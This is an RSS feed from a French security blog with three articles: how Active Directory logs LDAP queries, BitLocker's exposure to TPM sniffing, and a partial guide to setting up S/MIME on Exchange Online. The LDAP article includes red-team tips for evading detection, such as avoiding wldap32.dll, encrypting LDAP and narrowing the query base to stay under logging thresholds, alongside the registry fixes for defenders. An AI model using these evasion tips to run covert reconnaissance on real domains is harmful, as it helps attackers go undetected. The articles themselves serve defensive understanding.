<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Articles |</title><link>https://cravaterouge.com/fr/articles/</link><atom:link href="https://cravaterouge.com/fr/articles/index.xml" rel="self" type="application/rss+xml"/><description>Articles</description><generator>HugoBlox Kit (https://hugoblox.com)</generator><language>fr-FR</language><lastBuildDate>Tue, 24 Dec 2024 00:00:00 +0000</lastBuildDate><image><url>https://cravaterouge.com/media/sharing.png</url><title>Articles</title><link>https://cravaterouge.com/fr/articles/</link></image><item><title>Effectuer des requêtes LDAP AD comme un ninja</title><link>https://cravaterouge.com/fr/articles/ldapad-logging/</link><pubDate>Tue, 24 Dec 2024 00:00:00 +0000</pubDate><guid>https://cravaterouge.com/fr/articles/ldapad-logging/</guid><description>&lt;p&gt;Il y a quelque temps, un gars de la blueteam m&amp;rsquo;a contacté, embêté car il pouvait détecter les requêtes LDAP de SharpHound mais ne trouvait aucune trace des requêtes LDAP effectuées avec
(un outil d&amp;rsquo;audit AD que je développe) dans son SIEM. J&amp;rsquo;étais perplexe et voulais enquêter davantage, mais j&amp;rsquo;ai oublié jusqu&amp;rsquo;à récemment 😅. En développant de nouvelles fonctionnalités pour mon outil, j&amp;rsquo;ai réalisé que je ne voyais aucune requête LDAP dans les journaux du contrôleur de domaine (DC) pour m&amp;rsquo;aider à déboguer.&lt;/p&gt;
&lt;h2 id="journalisation-ldap-dans-active-directory"&gt;Journalisation LDAP dans Active Directory&lt;/h2&gt;
&lt;p&gt;De ce que je sais, il existe 3
(faites-moi savoir si j&amp;rsquo;en ai oublié une) :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Journalisation côté client&lt;/strong&gt; : &lt;code&gt;Microsoft-Windows-LDAP-Client - Event ID 30&lt;/code&gt;&lt;br&gt;
Celle-ci enregistre des détails tels que le processus responsable de la recherche LDAP, l&amp;rsquo;entrée recherchée, le filtre et la portée de recherche lorsque LDAP est accédé via l&amp;rsquo;API client LDAP via &lt;code&gt;wldap32.dll&lt;/code&gt;.&lt;br&gt;
&lt;figure &gt;
&lt;div class="flex justify-center "&gt;
&lt;div class="w-full" &gt;
&lt;img alt="Event ID 30"
srcset="https://cravaterouge.com/articles/ldapad-logging/event30_hu_a4eaecb4d37ceca0.webp 320w, https://cravaterouge.com/articles/ldapad-logging/event30_hu_125b4552a7127a5f.webp 480w, https://cravaterouge.com/articles/ldapad-logging/event30_hu_b51928cea91627b1.webp 760w"
sizes="(max-width: 480px) 100vw, (max-width: 768px) 90vw, (max-width: 1024px) 80vw, 760px"
src="https://cravaterouge.com/articles/ldapad-logging/event30_hu_a4eaecb4d37ceca0.webp"
width="760"
height="536"
loading="lazy" data-zoomable /&gt;&lt;/div&gt;
&lt;/div&gt;&lt;/figure&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Sniffing réseau&lt;/strong&gt; : Capture du trafic LDAP.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Journalisation côté DC&lt;/strong&gt; : &lt;code&gt;Microsoft-Windows-ActiveDirectory_DomainService - Event ID 1644&lt;/code&gt;&lt;br&gt;
Celle-ci enregistre les requêtes LDAP coûteuses, inefficaces ou lentes effectuées sur les contrôleurs de domaine par les machines clientes.&lt;br&gt;
&lt;figure &gt;
&lt;div class="flex justify-center "&gt;
&lt;div class="w-full" &gt;
&lt;img alt="Event ID 1644"
srcset="https://cravaterouge.com/articles/ldapad-logging/featured_hu_504abd7fcfed8e54.webp 320w, https://cravaterouge.com/articles/ldapad-logging/featured_hu_42844b5e75523bbb.webp 480w, https://cravaterouge.com/articles/ldapad-logging/featured_hu_121dda8b6a6442e1.webp 760w"
sizes="(max-width: 480px) 100vw, (max-width: 768px) 90vw, (max-width: 1024px) 80vw, 760px"
src="https://cravaterouge.com/articles/ldapad-logging/featured_hu_504abd7fcfed8e54.webp"
width="760"
height="549"
loading="lazy" data-zoomable /&gt;&lt;/div&gt;
&lt;/div&gt;&lt;/figure&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="contournement-de-la-journalisation-ldap"&gt;Contournement de la journalisation LDAP&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Journalisation côté client&lt;/strong&gt; : Facilement contourné en n&amp;rsquo;étant pas sur une machine surveillée ou en utilisant un outil qui n&amp;rsquo;appelle pas &lt;code&gt;wldap32.dll&lt;/code&gt; pour effectuer des requêtes LDAP (par exemple, des outils Python comme
ou
).\&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Sniffing réseau&lt;/strong&gt; : Contourné en utilisant le chiffrement des sessions LDAP, qui est la configuration par défaut pour
et tout outil utilisant les bibliothèques Windows (LDAPS n&amp;rsquo;est pas requis pour le chiffrement).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Journalisation côté DC&lt;/strong&gt; : Si configuré strictement, la journalisation ne peut pas être contournée. Cependant, une configuration stricte est plus complexe qu&amp;rsquo;il n&amp;rsquo;y paraît, ce qui explique pourquoi
a contourné les capacités de détection de la blueteam.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="regard-approfondi-sur-la-journalisation-ldap-côté-dc"&gt;Regard approfondi sur la journalisation LDAP côté DC&lt;/h3&gt;
&lt;p&gt;Par défaut,
côté DC. Pour activer la journalisation, définissez la clé de registre suivante sur &lt;strong&gt;5&lt;/strong&gt; :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Diagnostics\Field Engineering
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Cependant, seules certaines requêtes seront enregistrées de cette manière. Cette journalisation est conçue pour détecter les requêtes LDAP coûteuses et inefficaces, pas les potentielles attaques. Les seuils par défaut pour considérer une requête comme coûteuse ou inefficace sont les suivants :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
(par défaut 10000) : Une requête LDAP est considérée comme &lt;em&gt;coûteuse&lt;/em&gt; si elle visite plus de 10 000 entrées.&lt;/li&gt;
&lt;li&gt;
(par défaut 1000) : Une requête LDAP est considérée comme &lt;em&gt;inefficace&lt;/em&gt; si la recherche visite plus de 1 000 entrées et que les entrées retournées sont inférieures à 10 % des entrées visitées.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Seuil de temps de recherche&lt;/strong&gt; (par défaut 30s) : Une requête LDAP est considérée comme coûteuse/inefficace si elle prend plus de 30 secondes.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Ces
peuvent être modifiés en créant les clés de registre suivantes et en définissant des valeurs inférieures :&lt;/p&gt;
&lt;table class="overflow-auto block"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Chemin du registre&lt;/th&gt;
&lt;th&gt;Type de données&lt;/th&gt;
&lt;th&gt;Valeur par défaut&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters\Search Time Threshold (msecs)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;DWORD&lt;/td&gt;
&lt;td&gt;30,000&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters\Expensive Search Results Threshold&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;DWORD&lt;/td&gt;
&lt;td&gt;10,000&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters\Inefficient Search Results Threshold&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;DWORD&lt;/td&gt;
&lt;td&gt;1,000&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;La méthode intuitive serait de tout mettre à &lt;strong&gt;0&lt;/strong&gt; pour pouvoir voir chaque requête LDAP, mais en réalité, d&amp;rsquo;après mes tests, si vous faites ça, Windows ignorera ces valeurs et utilisera les valeurs par défaut à la place. C&amp;rsquo;est la partie délicate qui explique pourquoi certains outils de détection de menaces peuvent être aveugles à certaines requêtes LDAP.&lt;/p&gt;
&lt;p&gt;La bonne chose à faire pour activer une journalisation maximale est de ne créer que la clé de registre &lt;em&gt;Expensive search results threshold&lt;/em&gt; et de la définir sur &lt;strong&gt;1&lt;/strong&gt;. Avec ces paramètres, même
ne peut pas contourner la détection LDAP !&lt;/p&gt;
&lt;div class="callout flex px-4 py-3 mb-6 rounded-md border-l-4 bg-blue-100 dark:bg-blue-900 border-blue-500"
data-callout="note"
data-callout-metadata=""&gt;
&lt;span class="callout-icon pr-3 pt-1 text-blue-600 dark:text-blue-300"&gt;
&lt;svg height="24" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"&gt;&lt;path fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="1.5" d="m16.862 4.487l1.687-1.688a1.875 1.875 0 1 1 2.652 2.652L6.832 19.82a4.5 4.5 0 0 1-1.897 1.13l-2.685.8l.8-2.685a4.5 4.5 0 0 1 1.13-1.897zm0 0L19.5 7.125"/&gt;&lt;/svg&gt;
&lt;/span&gt;
&lt;div class="callout-content dark:text-neutral-300"&gt;
&lt;div class="callout-title font-semibold mb-1"&gt;Note&lt;/div&gt;
&lt;div class="callout-body"&gt;&lt;p&gt;On peut aussi créer une policy d&amp;rsquo;audit par objet mais j&amp;rsquo;en parlerai prochainement dans un nouvel article.&lt;/p&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h2 id="conclusion"&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Configurer correctement les journaux LDAP pour détecter les menaces est plus complexe qu&amp;rsquo;il n&amp;rsquo;y paraît. Les membres de la blueteam doivent être prudents lors de la configuration. Pour les membres de la redteam, voici quelques conseils pour réduire les chances de détection de vos requêtes LDAP, en particulier pour celles signalées comme la recherche d&amp;rsquo;
:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Évitez d&amp;rsquo;utiliser &lt;code&gt;wldap32.dll&lt;/code&gt; sur des machines surveillées&lt;/li&gt;
&lt;li&gt;Utilisez un outil prenant en charge le chiffrement LDAP&lt;/li&gt;
&lt;li&gt;Réduisez la base de votre requête LDAP pour rester en dessous des seuils (par exemple, effectuez la recherche d&amp;rsquo;utilisateurs AS-REP roastables sur &lt;code&gt;CN=Users,Dc=bloody,DC=corp&lt;/code&gt; au lieu de &lt;code&gt;DC=bloody,DC=corp&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;C&amp;rsquo;est tout pour cet article, j&amp;rsquo;espère que cela vous donnera une meilleure compréhension des détections de requêtes LDAP dans les environnements AD.&lt;/p&gt;</description></item><item><title>BitLocker activé. Êtes-vous vraiment protégé ?</title><link>https://cravaterouge.com/fr/articles/tpm-sniffing/</link><pubDate>Tue, 26 Nov 2024 00:00:00 +0000</pubDate><guid>https://cravaterouge.com/fr/articles/tpm-sniffing/</guid><description>&lt;p&gt;C&amp;rsquo;est vendredi soir, et vous venez de terminer votre journée de travail. Vous décidez de vous détendre avec un verre au bar d&amp;rsquo;en bas avant de rentrer chez vous. Tout se passe bien et vous détournez les yeux de votre ordinateur portable pour profiter de votre soirée, mais lorsque vous la regardez à nouveau, elle a disparu. Malheureusement, il contenait des données sensibles. Cependant, il y a encore de l&amp;rsquo;espoir, car vous avez chiffré votre disque dur avec &lt;a href="https://learn.microsoft.com/fr-fr/windows/security/operating-system-security/data-protection/bitlocker/" target="_blank" rel="noopener"&gt;BitLocker&lt;/a&gt; ! Mais &lt;a href="https://learn.microsoft.com/fr-fr/windows/security/operating-system-security/data-protection/bitlocker/" target="_blank" rel="noopener"&gt;BitLocker&lt;/a&gt; vous protège-t-il vraiment ? Regardons cela de plus près.&lt;/p&gt;
&lt;h2 id="quest-ce-que-bitlocker-"&gt;Qu&amp;rsquo;est-ce que BitLocker ?&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://learn.microsoft.com/fr-fr/windows/security/operating-system-security/data-protection/bitlocker/" target="_blank" rel="noopener"&gt;BitLocker&lt;/a&gt; est une fonctionnalité de Windows disponible depuis Windows Vista qui vous permet de chiffrer votre stockage disque pour éviter les risques de vol ou d&amp;rsquo;exposition des données en cas de perte ou de changement de périphérique.&lt;/p&gt;
&lt;p&gt;Il est simple à configurer et transparent pour l&amp;rsquo;utilisateur s&amp;rsquo;il est configuré sans facteur d&amp;rsquo;authentification. Si vous ne savez pas s&amp;rsquo;il est activé ou non sur votre ordinateur, vous pouvez vérifier dans le panneau de configuration :&lt;br&gt;
&lt;figure &gt;
&lt;div class="flex justify-center "&gt;
&lt;div class="w-full" &gt;
&lt;img alt="bitlocker enabled"
srcset="https://cravaterouge.com/articles/tpm-sniffing/bitlocker_on_hu_6aad44e3d5d0d9d4.webp 320w, https://cravaterouge.com/articles/tpm-sniffing/bitlocker_on_hu_e9bd8b76b1417a88.webp 480w, https://cravaterouge.com/articles/tpm-sniffing/bitlocker_on_hu_28b960cf45e24fe2.webp 760w"
sizes="(max-width: 480px) 100vw, (max-width: 768px) 90vw, (max-width: 1024px) 80vw, 760px"
src="https://cravaterouge.com/articles/tpm-sniffing/bitlocker_on_hu_6aad44e3d5d0d9d4.webp"
width="760"
height="401"
loading="lazy" data-zoomable /&gt;&lt;/div&gt;
&lt;/div&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 id="comment-fonctionne-bitlocker-"&gt;Comment fonctionne BitLocker ?&lt;/h2&gt;
&lt;p&gt;BitLocker chiffre et déchiffre le disque à l&amp;rsquo;aide d&amp;rsquo;une clé secrète appelée Volume Master Key (VMK). La question est : où stocker cette VMK pour qu&amp;rsquo;elle ne puisse pas être facilement récupérée ?&lt;br&gt;
Si elle est stockée sur le disque, il suffirait de brancher le disque sur un autre ordinateur et de récupérer la VMK pour déchiffrer l&amp;rsquo;intégralité du disque. Au lieu de cela, si vous en avez un (ce qui est le cas pour la plupart des ordinateurs actuels), la clé sera stockée dans un composant sécurisé appelé Trusted Platform Module (TPM).&lt;/p&gt;
&lt;h2 id="quest-ce-quun-tpm-"&gt;Qu&amp;rsquo;est-ce qu&amp;rsquo;un TPM ?&lt;/h2&gt;
&lt;p&gt;Le Trusted Platform Module (TPM) est un microcontrôleur conçu pour gérer les clés cryptographiques. Il a commencé à apparaître dans les ordinateurs vers 2005. En fait, il y avait besoin d&amp;rsquo;un composant dans les ordinateurs capable de garder des secrets et qui ne pouvait pas être corrompu, peu importe entre quelles mains il se trouvait.&lt;br&gt;
Les mêmes exigences s&amp;rsquo;appliquent aux cartes bancaires, où la banque veut s&amp;rsquo;assurer que les secrets à l&amp;rsquo;intérieur de la carte ne peuvent pas être extraits.&lt;br&gt;
Lorsqu&amp;rsquo;une clé est demandée au TPM, celui-ci vérifiera que vous êtes l&amp;rsquo;utilisateur légitime en utilisant différentes méthodes. Pour BitLocker, si le démarrage sécurisé est activé, il vérifiera que le firmware et le logiciel de l&amp;rsquo;ordinateur n&amp;rsquo;ont subi aucune modification malveillante.&lt;/p&gt;
&lt;h2 id="protéger-ou-ne-pas-protéger-"&gt;Protéger ou ne pas protéger ?&lt;/h2&gt;
&lt;p&gt;D&amp;rsquo;accord, après avoir dit tout cela, nous savons maintenant que la VMK est stockée en toute sécurité dans le TPM et ne peut être récupérée que par un BitLocker légitime. Que pourrait-il mal se passer ?&lt;br&gt;
En réalité, un acteur malveillant pourrait effectuer ce que l&amp;rsquo;on appelle le &lt;a href="https://blog.scrt.ch/2021/11/15/tpm-sniffing/" target="_blank" rel="noopener"&gt;TPM sniffing&lt;/a&gt;, qui consiste à écouter les communications entre BitLocker et le TPM lorsque BitLocker veut déchiffrer le disque.&lt;/p&gt;
&lt;p&gt;Mais vous devez savoir qu&amp;rsquo;il existe deux principaux types de TPM :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;TPM firmware&lt;/strong&gt; : Ce type de TPM fonctionne à l&amp;rsquo;intérieur du CPU.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;TPM discret&lt;/strong&gt; : Ce type de TPM est une puce sur la carte mère.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Comme vous l&amp;rsquo;avez peut-être déjà deviné, écouter un TPM firmware est une mission impossible, mais pour un TPM discret, quelques &lt;a href="https://post-cyberlabs.github.io/Offensive-security-publications/posts/2024_09_tpmandpin/#data-capture" target="_blank" rel="noopener"&gt;tutoriels en ligne&lt;/a&gt;, de la motivation et des équipements coûtant environ 500 à 1500 $ peuvent faire des merveilles ! Il vous suffira d&amp;rsquo;identifier la puce TPM sur votre carte mère et de souder vos sondes sur les broches du TPM, et c&amp;rsquo;est parti !&lt;/p&gt;
&lt;p&gt;Pour déterminer le type de TPM que vous avez, il n&amp;rsquo;y a pas de méthode directe. Vous pouvez essayer de l&amp;rsquo;identifier en utilisant &lt;code&gt;tpm.msc&lt;/code&gt; sur Windows et rechercher un TPM correspondant au fabricant et à la version :&lt;br&gt;
&lt;figure &gt;
&lt;div class="flex justify-center "&gt;
&lt;div class="w-full" &gt;
&lt;img alt="tpm.msc capture"
srcset="https://cravaterouge.com/articles/tpm-sniffing/tpm_msc_hu_c31501319343aded.webp 320w, https://cravaterouge.com/articles/tpm-sniffing/tpm_msc_hu_370ff300c2efd237.webp 480w, https://cravaterouge.com/articles/tpm-sniffing/tpm_msc_hu_41124e1cac5fc91e.webp 760w"
sizes="(max-width: 480px) 100vw, (max-width: 768px) 90vw, (max-width: 1024px) 80vw, 760px"
src="https://cravaterouge.com/articles/tpm-sniffing/tpm_msc_hu_c31501319343aded.webp"
width="760"
height="408"
loading="lazy" data-zoomable /&gt;&lt;/div&gt;
&lt;/div&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;Si cela ne fonctionne pas, vous devrez peut-être vérifier les spécifications de votre ordinateur portable.&lt;/p&gt;
&lt;p&gt;Maintenant, même si vous avez un &lt;strong&gt;TPM discret&lt;/strong&gt;, il y a encore de l&amp;rsquo;espoir. En effet, BitLocker vous permet d&amp;rsquo;ajouter un facteur d&amp;rsquo;authentification tel qu&amp;rsquo;un PIN ou une clé de démarrage. Dans ce cas, la VMK ne peut être demandée au TPM que si vous fournissez le facteur correct. Sans cela, le TPM ne vous donnera rien !&lt;br&gt;
Le brute-forcing du facteur n&amp;rsquo;est pas une option viable car cela nécessiterait d&amp;rsquo;envoyer des requêtes au TPM, ce qui nécessiterait de falsifier le firmware ou le logiciel. Comme je l&amp;rsquo;ai dit plus tôt, toute modification de ces composants empêchera le TPM de répondre.&lt;br&gt;
Ainsi, la seule façon serait de tromper l&amp;rsquo;utilisateur pour qu&amp;rsquo;il entre son PIN pendant que des sondes sont en place pour écouter, ce qui est très peu probable.&lt;br&gt;
Un excellent &lt;a href="https://blog.scrt.ch/2024/10/28/privilege-escalation-through-tpm-sniffing-when-bitlocker-pin-is-enabled/" target="_blank" rel="noopener"&gt;article&lt;/a&gt; de l&amp;rsquo;équipe offensive suisse d&amp;rsquo;Orange Cyberdefense l&amp;rsquo;explique très bien.&lt;/p&gt;
&lt;h2 id="récapitulatif"&gt;Récapitulatif&lt;/h2&gt;
&lt;p&gt;Comme vous pouvez le voir, BitLocker n&amp;rsquo;est pas parfait mais fournit déjà une couche de sécurité supplémentaire contre le vol de données, en particulier si vous possédez un TPM firmware. En outre, un PIN ou une clé de démarrage peut être ajouté pour plus de robustesse.&lt;br&gt;
Ce diagramme de flux fournit un aperçu rapide de la sécurité de BitLocker :&lt;br&gt;
&lt;figure &gt;
&lt;div class="flex justify-center "&gt;
&lt;div class="w-full" &gt;&lt;img alt="bitlocker protection flowchart"
src="https://cravaterouge.com/articles/tpm-sniffing/bitlocker_flowchart.svg"
loading="lazy" data-zoomable /&gt;&lt;/div&gt;
&lt;/div&gt;&lt;/figure&gt;
&lt;/p&gt;</description></item><item><title>Implémenter S/MIME avec Exchange Online et OWA</title><link>https://cravaterouge.com/fr/articles/ad-bin/</link><pubDate>Thu, 14 Nov 2024 00:00:00 +0000</pubDate><guid>https://cravaterouge.com/fr/articles/ad-bin/</guid><description>&lt;p&gt;Aaah l&amp;rsquo;email, inventé à la fin du 20ème siècle et toujours la pierre angulaire de la communication d&amp;rsquo;aujourd&amp;rsquo;hui. Cependant, les besoins en sécurité augmentent et nous avons dû trouver de nouvelles façons de garantir la sécurité de nos communications email. Pourquoi ? Parce que pour échanger des emails, les serveurs email utilisent SMTP, un protocole non chiffré, donc on peut oublier la garantie de confidentialité et d&amp;rsquo;authenticité. Il est vrai que nous pouvons l&amp;rsquo;encapsuler dans TLS en utilisant SMTPS ou STARTTLS mais si vous utilisez &lt;strong&gt;Exchange Online&lt;/strong&gt; et que le serveur de messagerie du destinataire ne prend pas en charge TLS, alors la communication sera &lt;a href="https://learn.microsoft.com/en-us/purview/exchange-online-uses-tls-to-secure-email-connections#tls-basics-for-microsoft-365-and-exchange-online" target="_blank" rel="noopener"&gt;simplement en SMTP non chiffré&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est là que des standards comme &lt;a href="https://en.wikipedia.org/wiki/S/MIME" target="_blank" rel="noopener"&gt;S/MIME&lt;/a&gt; (Secure/Multipurpose Internet Mail Extensions) viennent à notre secours !&lt;br&gt;
En utilisant ce standard, vous pouvez signer votre email avec votre clé privée avant de l&amp;rsquo;envoyer au destinataire qui peut le vérifier avec votre clé publique (clé publique que vous échangez avec le destinataire par un autre moyen sécurisé). Vous pouvez également chiffrer un email avec la clé publique du destinataire pour garantir que seul ce destinataire peut l&amp;rsquo;ouvrir.&lt;/p&gt;
&lt;p&gt;Et là vous allez me dire que toute cette petite histoire est très intéressante mais comment fait-on pour l&amp;rsquo;implémenter ? Vous pourriez implémenter S/MIME sur chacun de vos clients email s&amp;rsquo;ils le prennent en charge comme Outlook classic, mais alors vous devez ajouter la clé publique de vos contacts sur chaque client email, ce qui peut être un peu fastidieux mais fonctionne ! Il est également bon de noter que le Nouvel Outlook ne prend pas encore en charge S/MIME mais devrait le prendre en charge durant ce mois de &lt;a href="https://www.microsoft.com/en-us/microsoft-365/roadmap?filters=Outlook%2CDesktop%2CWeb&amp;amp;searchterms=s%2Fmime" target="_blank" rel="noopener"&gt;novembre 2024&lt;/a&gt;.&lt;br&gt;
Cependant, si vous avez Exchange Online, vous pourriez configurer les clés publiques de tous les contacts une seule fois pour tout le monde sur votre serveur ! Mais ce n&amp;rsquo;est pas magique, chaque utilisateur devra toujours installer sa propre clé privée localement sur son appareil.&lt;/p&gt;
&lt;p&gt;Dans cet article, nous verrons comment l&amp;rsquo;implémenter sur Exchange Online avec Outlook sur le Web (OWA).&lt;/p&gt;
&lt;h2 id="installer-la-clé-privée-sur-votre-machine-locale"&gt;Installer la clé privée sur votre machine locale&lt;/h2&gt;
&lt;h3 id="installer-le-contrôle-smime-pour-owa"&gt;Installer le contrôle S/MIME pour OWA&lt;/h3&gt;
&lt;p&gt;Tout d&amp;rsquo;abord, vous devrez installer le contrôle S/MIME sur votre navigateur (à ce jour, il n&amp;rsquo;est disponible que sur Edge et Chrome) afin qu&amp;rsquo;OWA puisse appeler l&amp;rsquo;API Windows de votre machine locale pour chiffrer/signer les emails en utilisant la clé privée installée dessus.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Ouvrez &lt;code&gt;outlook.office.com&lt;/code&gt; et allez dans les paramètres en cliquant sur l&amp;rsquo;engrenage en haut à droite
&lt;figure &gt;
&lt;div class="flex justify-center "&gt;
&lt;div class="w-full" &gt;
&lt;img alt="gear"
srcset="https://cravaterouge.com/media/smime/smime_control1_hu_79e66fa8e2212fff.webp 320w, https://cravaterouge.com/media/smime/smime_control1_hu_52bfcc40e2ab29f3.webp 480w, https://cravaterouge.com/media/smime/smime_control1_hu_f8f17aebc6f93b81.webp 760w"
sizes="(max-width: 480px) 100vw, (max-width: 768px) 90vw, (max-width: 1024px) 80vw, 760px"
src="https://cravaterouge.com/media/smime/smime_control1_hu_79e66fa8e2212fff.webp"
width="760"
height="349"
loading="lazy" data-zoomable /&gt;&lt;/div&gt;
&lt;/div&gt;&lt;/figure&gt;
&lt;/li&gt;
&lt;li&gt;Cliquez sur &lt;code&gt;Mail &amp;gt; SMIME&lt;/code&gt; et sur le lien &lt;code&gt;cliquez ici&lt;/code&gt; pour installer l&amp;rsquo;extension du navigateur
&lt;figure &gt;
&lt;div class="flex justify-center "&gt;
&lt;div class="w-full" &gt;
&lt;img alt="click link"
srcset="https://cravaterouge.com/media/smime/smime_control2_hu_4a2e40a667fe0f38.webp 320w, https://cravaterouge.com/media/smime/smime_control2_hu_a213efb1f9073d4e.webp 480w, https://cravaterouge.com/media/smime/smime_control2_hu_b25672a818ecda34.webp 760w"
sizes="(max-width: 480px) 100vw, (max-width: 768px) 90vw, (max-width: 1024px) 80vw, 760px"
src="https://cravaterouge.com/media/smime/smime_control2_hu_4a2e40a667fe0f38.webp"
width="760"
height="385"
loading="lazy" data-zoomable /&gt;&lt;/div&gt;
&lt;/div&gt;&lt;/figure&gt;
&lt;/li&gt;
&lt;li&gt;Une fois l&amp;rsquo;extension du navigateur installée, retournez à la page des paramètres et cliquez sur le lien &lt;code&gt;cliquez ici&lt;/code&gt; pour télécharger et installer l&amp;rsquo;extension de contrôle &lt;code&gt;SmimeOutlookWebChrome.msi&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Une fois cela fait, vous pouvez redémarrer votre navigateur et vous assurer que ces cases ne sont plus grisées.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="installer-votre-certificat-smime"&gt;Installer votre certificat S/MIME&lt;/h3&gt;
&lt;p&gt;Si vous n&amp;rsquo;avez pas encore de certificat, vous devrez en demander un. Vous pouvez en demander un à une CA publique (Autorité de Certification) mais à part &lt;a href="https://extrassl.actalis.it/portal/uapub/freemail?lang=en" target="_blank" rel="noopener"&gt;Actalis&lt;/a&gt;, je ne connais pas d&amp;rsquo;autres CA publiques gratuites pour les certificats S/MIME. Vous pouvez également en demander un à votre propre CA privée (par exemple en utilisant openssl) mais vous devrez alors importer le certificat public de la CA privée dans &lt;code&gt;crtmngr&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Vous devrez ensuite installer votre certificat sur la machine de votre navigateur :&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Double-cliquez sur votre certificat &lt;code&gt;.p12&lt;/code&gt;, suivez l&amp;rsquo;assistant et fournissez le mot de passe du certificat :
&lt;figure &gt;
&lt;div class="flex justify-center "&gt;
&lt;div class="w-full" &gt;
&lt;img alt="wizard store"
srcset="https://cravaterouge.com/media/smime/cert_install1_hu_5f118eb5b4e1a464.webp 320w, https://cravaterouge.com/media/smime/cert_install1_hu_e2f35571b442db6a.webp 480w, https://cravaterouge.com/media/smime/cert_install1_hu_d06ddcdb005a5030.webp 657w"
sizes="(max-width: 480px) 100vw, (max-width: 768px) 90vw, (max-width: 1024px) 80vw, 760px"
src="https://cravaterouge.com/media/smime/cert_install1_hu_5f118eb5b4e1a464.webp"
width="657"
height="595"
loading="lazy" data-zoomable /&gt;&lt;/div&gt;
&lt;/div&gt;&lt;/figure&gt;
&lt;figure &gt;
&lt;div class="flex justify-center "&gt;
&lt;div class="w-full" &gt;
&lt;img alt="wizard location"
srcset="https://cravaterouge.com/media/smime/cert_install2_hu_17624a27ad3a8899.webp 320w, https://cravaterouge.com/media/smime/cert_install2_hu_fdb61b740e8782fd.webp 480w, https://cravaterouge.com/media/smime/cert_install2_hu_53385c1c21243ab6.webp 577w"
sizes="(max-width: 480px) 100vw, (max-width: 768px) 90vw, (max-width: 1024px) 80vw, 760px"
src="https://cravaterouge.com/media/smime/cert_install2_hu_17624a27ad3a8899.webp"
width="577"
height="557"
loading="lazy" data-zoomable /&gt;&lt;/div&gt;
&lt;/div&gt;&lt;/figure&gt;
&lt;figure &gt;
&lt;div class="flex justify-center "&gt;
&lt;div class="w-full" &gt;
&lt;img alt="wizard pwd"
srcset="https://cravaterouge.com/media/smime/cert_install3_hu_52a0a9e1e99fe329.webp 320w, https://cravaterouge.com/media/smime/cert_install3_hu_f5c80ba328b30fa9.webp 480w, https://cravaterouge.com/media/smime/cert_install3_hu_e0f420a8f413609f.webp 616w"
sizes="(max-width: 480px) 100vw, (max-width: 768px) 90vw, (max-width: 1024px) 80vw, 760px"
src="https://cravaterouge.com/media/smime/cert_install3_hu_52a0a9e1e99fe329.webp"
width="616"
height="568"
loading="lazy" data-zoomable /&gt;&lt;/div&gt;
&lt;/div&gt;&lt;/figure&gt;
&lt;figure &gt;
&lt;div class="flex justify-center "&gt;
&lt;div class="w-full" &gt;
&lt;img alt="wizard auto"
srcset="https://cravaterouge.com/media/smime/cert_install4_hu_316ffd4614e82b5a.webp 320w, https://cravaterouge.com/media/smime/cert_install4_hu_edf07c8970044b8b.webp 480w, https://cravaterouge.com/media/smime/cert_install4_hu_b4281c11f9e1037a.webp 608w"
sizes="(max-width: 480px) 100vw, (max-width: 768px) 90vw, (max-width: 1024px) 80vw, 760px"
src="https://cravaterouge.com/media/smime/cert_install4_hu_316ffd4614e82b5a.webp"
width="608"
height="581"
loading="lazy" data-zoomable /&gt;&lt;/div&gt;
